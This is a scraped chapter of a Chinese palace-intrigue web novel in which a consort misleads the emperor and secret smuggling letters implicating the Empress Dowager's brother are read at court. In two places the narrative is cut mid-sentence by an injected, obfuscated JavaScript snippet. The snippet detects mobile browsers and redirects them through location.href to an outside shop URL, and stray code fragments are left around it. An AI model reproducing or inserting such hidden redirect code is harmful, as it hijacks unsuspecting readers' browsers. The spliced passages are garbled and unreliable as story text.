“娘娘不听嫔妾解释吗?”慧嫔的声音响在耳侧。 与此同时,秦宝宜感觉到有什么东西被塞进了自己掌心——一张字条,折得极小,借着护甲的遮掩,悄无声息地滑进她袖中。 秦宝宜盯着那只搭在自己腕上的手。日光从殿门外照进来,将那只手照得几乎透明,能看见皮肤下淡青色的血管,像一张细密的网。 须臾,她接过字条,然后拂下那只手。 “一切自有皇上裁决。”她说,端得不留情面:“妹妹还是想想,怎么与太后娘娘交代吧。” 她转身,迈步走出流云殿。裙摆曳过门槛,带起一阵细风。身后,慧嫔的身影立在殿门口,半点儿惶恐也无,还弯了弯嘴角。 秦宝宜到养心殿时,旭日已升,东方的天际被染成一片金红。 早膳刚刚摆上,香气从半敞的窗棂里飘出来,混着殿内燃着的龙涎香,丝丝缕缕地弥漫在晨光里。 迈进殿门,沈昱正等她。 她一宿未眠,眼下带着淡淡的乌青,脂粉也掩不住那份倦意。 “一宿没睡?”他问。 秦宝宜点点头,神情凝重:“启禀皇上,臣妾在慧嫔……” 沈昱打断她的话,吩咐一旁的宫人:“侍候贵妃梳洗。” 宫人们鱼贯而入,捧热水、拿巾帕、取衣裳。秦宝宜由着她们摆弄,换了身干净衣裳,重新净面梳头。 铜镜里映出她的脸,脂粉重新敷上,遮住了那层倦意,却遮不住眼底的暗影。 她回到正殿时,沈昱还坐在窗边。早膳摆了一桌,他未动筷,只端着一盏茶,慢慢饮着。见她来,他放下茶盏,伸出手。 秦宝宜把手放进他掌心里。任他拉着走到桌边、按着她的肩膀让她坐下。 “陪朕一起用点。”他屏退众人。 殿门在身后阖上,发出极轻的一声响。殿内只剩下两个人,日光从窗棂漏进来,落在地上,一道一道的,像金色的栅栏。 他亲手盛了一碗粥,推到她面前。 “在慧嫔那找到了什么?”他随口问,像在说一件寻常事。 “一个盒子。”她说,“与臣妾宫里的那个一模一样。” 沈昱“嗯”了一声,没有追问。他夹起一块春笋油茶糕,放进她面前的碟子里。那糕炸得金黄,油茶香混着笋香,扑鼻而来。 “里面装了什么?”他又问,语气仍是淡淡的。 “还未打开。”秦宝宜说。 他抬起眼,看着她,笃定问:“你不知道里面是什么?” 秦宝宜放下筷子,起身要跪下。 刚屈膝,一只手伸过来,拉住了她的手腕。 “吃饭。”沈昱说。 他的力道不重,却不容拒绝。他把她的手腕拉回来,然后松开,继续帮她布菜,仿佛什么都没发生。 秦宝宜咬了一口那块糕。油茶的香气在嘴里蔓延开来,带着微微的苦涩。 她定了定神,咽下去,开口—— “自从被窦氏害得小产后,臣妾对自己宫里管理十分严格。所以那盒子进入正阳宫时,臣妾是知道的。” 沈昱端着茶盏,慢慢饮着,没有接话。 秦宝宜继续说下去:“那是太后回宫的前一天。臣妾当时并不知道是何人指使的。” “那盒子被打扫内殿的宫女藏在臣妾的榻上。”她的声音微微发颤,带着恰到好处的后怕,“打开后,里面装的……是个纸扎的小人。” 沈昱的目光微微一动。 “那小人上面的生辰八字,臣妾并不认得。”秦宝宜抬起眼,看着他,眼眶微红,“那东西古怪得很。臣妾知道玩弄巫邪之术的后果,不敢耽搁,便把那东西烧了。” “那字条呢?”沈昱问。他又盛了一碗荔枝汤,推到她手边。那汁子是荔枝干和月季熬煮的,红艳艳的,像一汪凝固的血。 秦宝宜端起那碗汤,抿了一口。汤是温的,入口甘甜,带着月季的花香。她的嘴唇被浸得粉莹莹的。 “皇上知道……”她顿了顿,语气里带着一丝恰到好处的娇蛮倨傲,“臣妾不是肯忍气吞声的人。” 沈昱的嘴角微微翘了一下。 “有人要用那等阴狠玩意儿害臣妾,臣妾自然要报复回去。便……欲擒故纵,把之前去皇寺祈福时写的字条随手放了进去。” 她说这话时,眼睛里带着一点倔强、一点得意。 但那得意之下,是深不见底的冷静——她在观察他的反应,在掂量他信了几分。 真话不说全,假话不全说。 沈昱看着她,沉默了一息。然后他摇了摇头,笑了一下,眼里也有什么东西松动了,像冰面裂开一道细纹。 “你啊。”他说,语气里带着一丝无可奈何的宠溺。 成了。 “臣妾毕竟是先皇后带大的,”秦宝宜抬起眼,脸上又浮起那点慧黠,“也不会一点手腕也没有。何况先皇后还给臣妾留了人呢!” 沈昱的目光微微一顿。 “先皇后给宝宜留人了?”他问,状似无意。 “当然了!”秦宝宜眨眨眼,满脸的理所应当,“母后最疼臣妾了。” 这是她第一次在他面前说这些——误导他,那块令牌只能调动些后宫人手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286796|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的语气轻快,像在说一件再寻常不过的事,但那每一个字,都是精心称量过的。 沈昱“嗯”了一声,没有追问。 秦宝宜换了一副表情,眉头微微蹙起,带着一丝后怕: “直到昨个儿晚宴,太后突然发作。口口声声邪术、疾言厉色要把臣妾全家治罪。”她顿了顿,撇了撇嘴,低下头去,“臣妾才后知后觉……” “后知后觉什么?” 秦宝宜闷着头,扒拉着碗里的粥,不说话。 “说。” “臣妾不敢说。”她声音闷闷的。 沈昱沉默了一息。 “那一模一样的盒子,怎么又出现在流云殿了?”他问。 秦宝宜摇头。 “臣妾的确不知。”她说,“但臣妾自知收不了场,所以不敢去慈宁宫自投罗网,先来皇上这了。” 她放下筷子,伸手扯住他的袖子。 “求皇上救救臣妾吧!”她央求。 沈昱低头,看着那只攥着自己袖子的手。那手很白,很小,指尖染着新染的蔻丹。此刻攥着他的袖子,攥得紧紧的,指节都泛了白。 “你都靠自己换了那盒子,流云殿的事与你又无关,还怕什么?”他问。 “谁知道流云殿那盒子里装的是什么……”秦宝宜嘟着嘴,满脸的担忧,“万一又把脏水往臣妾身上泼,可怎么办?” 她顿了顿,话锋一转: “但话说回来,这事也好生奇怪……” “哪里奇怪?” 秦宝宜歪着头,像是在认真思考。 “谁人不知秦家是皇上最倚重宠信的肱骨之臣。”她说,语气轻快,像在说一件理所应当的事,“当着皇上的面陷害臣妾和秦家,活腻了不成?难道皇上真会因为此等小事,将秦家革爵流放?” 她说这话时,眼睛亮晶晶地看着他,满脸的信任。 沈昱的目光在她脸上停了一息。那目光很深,像要从她眼底看到心里去。但她的眼睛里只有信赖,只有仰慕,只有那些他熟悉的东西。 他收回目光,淡淡斥了一声:“口无遮拦!” “等皇上下了早朝,再陪臣妾一起去慈宁宫吧!”她目光里带着依赖。 “就当是给臣妾壮壮胆。”她说。 慈宁宫里,方氏正由宫人侍候着梳洗。铜镜里映出她的脸——完全未施粉黛的脸,比平时还苍老几分。晒斑几乎遍布全脸。 易香进来,挥手屏退众人。 “主子,事发了。”易香走到方氏身后,拿起梳子,开始替她通发,“贤妃、慧嫔都在外候着。孙荣方才来说,皇上下朝后也要过来。” 方氏的目光落在镜中,望着自己那张苍老的脸。 “秦宝宜呢?”她直呼其名。 “听孙荣的口气,”易香说,手下动作不停,“贵妃大约是和皇上在一起。” 方氏的眉头微微蹙了一下。 “昨夜闹成那样,皇上竟未恼了她。” 易香将那几缕白发藏进发髻里,用簪子固定好。 “毕竟是少年夫妻。”她说,“何况大齐的皇帝向来倚重永靖候府。要挑拨这二人,还真是不容易。” 方氏沉默了一息。 “只是棋差一招,”易香继续说,“贵妃发现了那盒子,又把东西换了。” “哀家也没指望这点雕虫小技能瞒过她。”方氏神色沉沉,不见昨日人前的轻狂愚蠢。 易香的手顿了一瞬,点头,“目前的情势,还在预料之中。反正咱们还有准备。” 方氏抬起手,轻轻抚过镜中自己的眉眼。那动作很慢,很轻,像是在抚摸一个久别的故人。 她缓缓道:“哀家就是要把秦家的视线引到海东国上。” 易香垂下眼,继续替她梳头。 方氏又吩咐:“慧检,清理了。” 殿内静下来。蜡烛的火焰在灯罩里轻轻跳动,将两个人的影子投在墙上,又长又细,像两株扭曲的藤蔓,纠缠在一起。 25. 爆雷 秦宝宜与沈昱到慈宁宫时,众人已落座了。 殿内燃着安神的百合香,香气丝丝缕缕,却压不住那股剑拔弩张的气息。 沈昱坐在主位。左手边是方氏——她今日的脸色比昨好些,老神在在地闭目养神。 秦宝宜坐在他右手边。 沈昱的目光从众人脸上扫过,最后落在贤妃身上。 “说吧。” 贤妃上前一步,跪下行礼,声音恭谨:“回皇上,臣妾带宫人搜宫时,在慧嫔宫里发现了这个盒子。”她双手托起那金漆木雕的小盒。 她顿了顿,目光往四周一扫——“当时众人皆在,皆可作为见证。” 此刻她说话,明显比昨夜谨慎了许多。不再抢着献宝,不再急着占队,每一个字都像是称量过的。 盒子上挂着锁,贤妃看向跪在一旁的慧嫔:“还请慧嫔妹妹配合查验,将钥匙交出来。” 慧嫔跪在地上,脊背挺直。 “臣妾没有钥匙。”她的声音平静,陈述:“臣妾甚至不知道这盒子的来路,更不知它为何会出现在臣妾宫里。” “孙荣。”沈昱说。 孙荣应声上前,接过那盒子。他看了一眼那锁,转身出去,很快拿回来一把铁钳。铁钳咬住那锁,他双臂用力,青筋暴起—— “咔哒。” 锁断了。 沈昱接过盒子,打开。 日光从窗棂漏进来,落在那盒子里。里面不是纸人,不是巫邪之物,而是——几封层层叠叠放着的信。信纸泛黄,边角微微卷起,像是有些日子了。 沈昱取出第一封,展开。 他的目光落在信纸上,脸上的神色一点一点沉了下去。是惊怒。 他一封接一封地打开。殿内静得能听见信纸翻动的沙沙声。所有人屏息看着,目光追着他的手,追着他脸上的每一丝神情变化。 足足看了一刻钟。 秦宝宜坐在他身侧,能感觉到他的呼吸比平时沉了几分。 放下信,他抬起眼,看向慧嫔。 “慧嫔,你可知这信所言?” 慧嫔不卑不亢:“臣妾对此物一无所知。” 沈昱没有说话。他把那叠信递给孙荣,声音不高不低: “念。” 孙荣双手接过信,打开第一封。他的目光落在信纸上,只扫了一眼,脸色就变了。 他张了张嘴,声音发颤: “海东国平海都督府郑将军亲启——” 只念了这一句,他的声音就抖得几乎接不下去。但他不敢停。他咽了口唾沫,继续念下去: “自春日一别,将军马上英姿犹在目前。今遣心腹校尉携密函浮海而北,伏惟台鉴。” 秦宝宜听着,心中预感不祥。她微微侧目,瞥向方氏。 方氏的手紧紧扣着椅子扶手,指甲泛白,几乎要掐进木头里。她的脸上还是那副病弱的模样,但秦宝宜看见了——她眼底有什么东西在剧烈地翻涌。 是惊骇。不似作伪。 孙荣的声音还在继续,越念越抖: “齐廷皇帝醉心方术,太子监国严苛,军晌甚薄。某虽庸碌,实不忍见麾下健儿饥寒。前议私市之事,今可践约矣。” 殿内响起一阵压抑的惊呼。 海东国与大齐并未签订互市。这分明就是东境守将在与海东国商议——走私牟利。 孙荣咽了口唾沫,继续念下去。他的声音越来越低,越来越抖,但每一个字都清清楚楚地落进在场每一个人耳中: “一、自永平七年十月朔始,每月望日于野狸岛西侧礁群易货。岛东设烽火三堆为号,雾天以铜锣应答。” “二、首批货单:甲类:西盐三百石。乙类:铁五百斤。丙类:战马。且试行之。” “三、贵国海船请悬双鱼黑旗,某麾下巡哨自退避二十里。遇盘查,便称高丽商帮遭风避险。” “所换之物,三成归军用,七成鬻于豪商。所得利银,与将军五五分账。另附《海货折子》一册,详列历年出入,供将军审验。” “边镇兵权更迭在即,来年开春朝廷或遣监军。此事当慎之又慎,往来书信用火漆封于蜡丸,交付海鸥班头目张疤脸者。纸短意长,余事由校尉面陈。顺颂秋安。” 孙荣顿了顿,深吸一口气,念出最后一行—— “大齐东境镇海将军方彪熏沐谨封。永平三十七年九月初三·夜戍时·大齐东境镇海营密匣。” 殿内静得能针落有声。 那些嫔妃们一个个脸色煞白。她们都听懂了——这是方彪写给海东国的密信。方彪,东境镇海将军,太后的兄长。 边境走私。盐铁战马。与敌国暗中往来。都是抄家灭族的大罪! 孙荣的手在抖。他展开第二封信,目光落下去,只扫了一眼,双膝一软,“扑通”一声跪在地上。 “皇上……”他的声音抖得不成样子,“奴才……奴才不敢念……” 方氏猛地站起来。她动作太急,带翻了手边的茶盏。茶汤泼出来,溅了她一身,洇开一大片深色的水渍。她像是没感觉到,只是盯着孙荣手里那封信,盯着那些密密麻麻的字迹。 “皇上,”她的声音发颤,带着一丝掩不住的急切,“此事不如私下——” “继续念。”沈昱的声音不高不低,却像一块巨石砸下来,压住了所有的声音。 方氏闭上嘴。她站在那里,身子微微发抖。然后慢慢坐回去,靠在椅背上,手指死死抠着扶手。 秦宝宜看着她,又看向她身后站着的易香。 易香的脸色也白了。她站在方氏身后,垂着眼,看不清表情。但她的手——那只垂在身侧的手,指节微微蜷着,轻轻发着抖。 孙荣跪在地上,展开第二封信,继续念下去。他的声音比方才更抖,却不敢停: “永平三十七年十月至十二月收支录——” “岁入:盐课截留、军械暗扣、商税加征、海东回货。岁出:赂监税御史冬敬,银五百两、购宅三座、埋银二千两于清净庵后山地窖…...” 账目念毕,孙荣又翻到信纸末页,双手举起,展示给众人看—— “末页朱批:此折阅后即焚,勿留痕迹。彪手记。” 他顿了顿,又举起另一封信纸—— “此处附有方彪将军私印。” 日光落在那信纸上,照亮了那枚朱红的印痕。方彪——两个字,清清楚楚。 方氏傻了。她坐在那里,脸上的血色一点一点褪尽。她的嘴唇哆嗦着,想说什么,却什么都说不出来。她的手还扣在扶手上,指节泛着青白,像是要掐进木头里。 那些嫔妃们一个个面如土色。原本各怀心思的她们,此刻恨不得长翅膀飞出去。这样抄家灭族的大罪,谁敢沾?谁沾上谁死。 沈昱侧过脸,看向秦宝宜。 那目光很平静,看不出什么情绪。但秦宝宜看懂了——他在等她开口。 她放下手里的茶盏,慢条斯理地开口: “臣妾若没记错,东境的戍守将领,正是方彪和方腾两父子。”她顿了顿,看向方氏,“也就是——太后的娘家兄长和侄儿。” “倒是糊涂了。”她笑了一下,“替太后查巫邪,怎么查到这来了?” 方氏张了张嘴,视线猛地看向跪着的人—— “慧嫔!” 她霍然站起来,手指着跪在地上的慧嫔,声音尖利得变了调: “你好大的胆子!竟敢攀污哀家和东境将领!” 慧嫔跪在地上,目光很平静得像一潭深井,扔进一颗石子,涟漪都不会荡起一圈。 “嫔妾,一无所知。”她说。 方氏地胸口剧烈起伏着,手指着慧嫔,抖得厉害。她想说什么,却什么都说不出来。 “本宫看,这东西也不见得是攀污。”德妃的声音从人群后面传来,清凌凌的,像她的琴声。“慧嫔本就是海东国的人,能拿到这些密信,也不奇怪。” 方氏张了张嘴,又闭上。然后又张开,却只发出一声虚弱的呻吟。她的手抬起来,按在额头上,身子晃了晃,像是要倒下去。 没有人动。那些嫔妃们站在原处,看着她,没有一个人上前搀扶。 慧嫔的声音又响起来:“诸位在这咬来咬去的,也没意思。” 她转向沈昱,跪得笔直。 “臣妾本就是海东国来的,这密信又从臣妾宫里搜出来的,自知百口莫辩。”她的声音不高不低,一字一顿,“请皇上将此事交由刑部,按流程查明。” 她顿了顿,看向方氏。 “还臣妾和......太后,一个清白。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291246|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈昱沉默了一息。 殿内静得能听见窗外的风声。那风声细细的,尖尖的,像有什么东西在远处呜咽。 然后他开口—— “传朕旨意,将此事交由刑部调查。” “调查期间,慧嫔禁足于流云殿。” 他顿了顿。 “停止东境将领方彪、方腾所有职务,即刻押解入京候审。” 方氏的身子猛地一晃。她扶着椅背,勉强站稳。她的嘴唇哆嗦着,想说什么,却被沈昱的目光压了回去。 “太后受惊过度,需要静养。”沈昱看着她,一字一顿,“任何人不得再以巫邪之术为名扰乱后宫,违者斩。” 他顿了顿,转向孙荣。 “去永靖候府宣旨。定东侯秦霄野,明日启程,往东境接管军务,不得耽搁。” 孙荣应声叩首:“奴才遵旨。” 秦宝宜侧过脸,深深看了沈昱一眼。 他正看着孙荣吩咐什么,没有看她。但她知道,他感觉到了她的目光。因为他那只垂在身侧的手,微微动了一下。 她收回目光,与下首的德妃四目相对,又飞快错开。低下头,若无其事抿了一口茶。茶已经彻底凉了,苦涩的味道在舌尖蔓延开来。 沈昱站起身。 众人纷纷起身行礼。 他走了两步,忽然停下来—— 因为德妃跪在他面前。 “皇上留步。”臣妾有事启奏。” 沈昱低头看着她。 “何事?” 德妃抬起头,迎着他的目光。 “臣妾要检举太后挟势弄权、残害皇嗣。” “德妃,你可知自己在说什么。”沈昱的话里带着警告,带着压制。 但德妃没有退缩,“导致臣妾小产、三皇子中毒的贵人苏氏,其实是受太后指使。臣妾有证据。” 她从袖中取出几张纸,高举双手呈上。 “臣妾不相信仅一个小小贵人便敢犯下谋害皇嗣的大罪,所以派人去查苏贵人的底细。”她说,“苏贵人是由太后兄长方彪选送入宫的。这是苏贵人入东宫时,礼部的留档。” 沈昱没有接。 德妃继续说下去—— “这几年,苏贵人每逢节庆便到清净庵奉香,由一位主持专门接待。正是慧检。” “慧检每逢初一十五,便到行宫为太后讲经。慈安宫的诸位太嫔和行宫服侍的奴才皆可作证。这位慧检师太,常与太后往来。” 方氏向是被箭钉住的靶子,动弹不得。 秦宝宜慢条斯理地端起茶盏,倾身,递到方氏面前。 “太后顺顺气,”她声音里带着恰到好处的关切,“别又晕了。” 方氏没有接。 秦宝宜也不在意。她收回手,转向众人,笑了一下。 “慧检?”她说,“就是昨日那位,口口声声太后是被巫邪所害、在这些歪门邪道上颇有见地的师太吧?” 沈昱看过来,显然是不想再让她继续说下去。 秦宝宜错开目光,像是无知无觉,继续说:“先是通敌走私,再是谋害皇嗣。桩桩件件都是抄家灭族的大罪。太后清名,断不能沾上这些污点。” 她满脸诚恳,建议—— “还是召慧检入宫对峙吧。” 沈昱的目光在她脸上停了一息。然后他转向孙荣,一字一顿:“你亲自去办。” 而孙荣,竟罕见地迟疑了片刻。很快,但秦宝宜抓住了。 她看着孙荣匆匆出去的背影,出神—— 这第二个盒子打开,所有人都被逼到了墙角。这密信,不是方氏的手笔、不是她的,第三双手是谁?沈昱吗? 在这局扑朔迷离的斗争中,沈昱对她所有的求助、要求、乃至于故意露出的马脚,都全盘接受。对她所有的试探,都不接招,都用笑脸、用那层名为纵容的壳子,遮掩过去。 可,直到此刻,她第一次明确地感受到,他不想继续查下去。 孙荣真的是去请慧检吗? 殿内又静下来。 秦宝宜靠回椅背,吩咐青黛:“昨夜没回宫,你回正阳宫替本宫去瞧瞧大皇子。” 青黛应声而去。 她盯着门口的日晷,在心里计时—— 慧检,能来吗?